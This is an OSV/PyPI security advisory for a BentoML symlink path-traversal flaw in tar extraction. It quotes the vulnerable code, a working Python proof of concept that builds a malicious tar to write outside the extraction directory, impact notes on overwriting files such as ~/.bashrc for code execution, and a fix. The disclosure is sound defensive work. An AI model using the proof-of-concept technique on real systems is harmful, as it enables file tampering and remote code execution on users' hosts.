{"id":"PYSEC-2026-2398","summary":"BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction","details":"# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n    os.makedirs(destination, exist_ok=True)\n    for member in tar.getmembers():\n        fn = member.name\n        path = os.path.abspath(os.path.join(destination, fn))\n        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE\n            continue  # Only checks member path, NOT symlink target\n        if member.issym():\n            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target\n        else:\n            fp = tar.extractfile(member)\n            with open(path, \"wb\") as destfp:  # Line 92: open() FOLLOWS symlinks\n                shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n    buf = io.BytesIO()\n    with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n        sym = tarfile.TarInfo(name='escape')\n        sym.type = tarfile.SYMTYPE\n        sym.linkname = target_dir\n        tar.addfile(sym)\n        info = tarfile.TarInfo(name=f'escape/{target_file}')\n        info.size = len(payload)\n        tar.addfile(info, io.BytesIO(payload))\n    buf.seek(0)\n    return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    extract_dir = os.path.join(tmpdir, 'extract')\n    target_dir = os.path.join(tmpdir, 'outside')\n    os.makedirs(target_dir)\n    \n    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n    \n    # Reproduce filesystem.py:58-96\n    os.makedirs(extract_dir, exist_ok=True)\n    for member in tar.getmembers():\n        path = os.path.abspath(os.path.join(extract_dir, member.name))\n        if not Path(path).is_relative_to(extract_dir): continue\n        if member.issym():\n            tar._extract_member(member, path)  # Symlink target NOT checked\n        else:\n            fp = tar.extractfile(member)\n            os.makedirs(os.path.dirname(path), exist_ok=True)\n            if fp:\n                with open(path, 'wb') as destfp:  # Follows symlink!\n                    shutil.copyfileobj(fp, destfp)\n    \n    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n    if not Path(target).is_relative_to(dest):\n        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n        continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","aliases":["CVE-2026-27905","GHSA-m6w7-qv66-g3mf"],"modified":"2026-07-13T16:31:38.609118661Z","published":"2026-07-13T14:36:40.716464Z","references":[{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-m6w7-qv66-g3mf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27905"},{"type":"WEB","url":"https://github.com/bentoml/BentoML/commit/4e0eb007765ac04c7924220d643f264715cc9670"},{"type":"PACKAGE","url":"https://github.com/bentoml/BentoML"},{"type":"PACKAGE","url":"https://pypi.org/project/bentoml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m6w7-qv66-g3mf"}],"affected":[{"package":{"name":"bentoml","ecosystem":"PyPI","purl":"pkg:pypi/bentoml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.36"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/bentoml/PYSEC-2026-2398.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}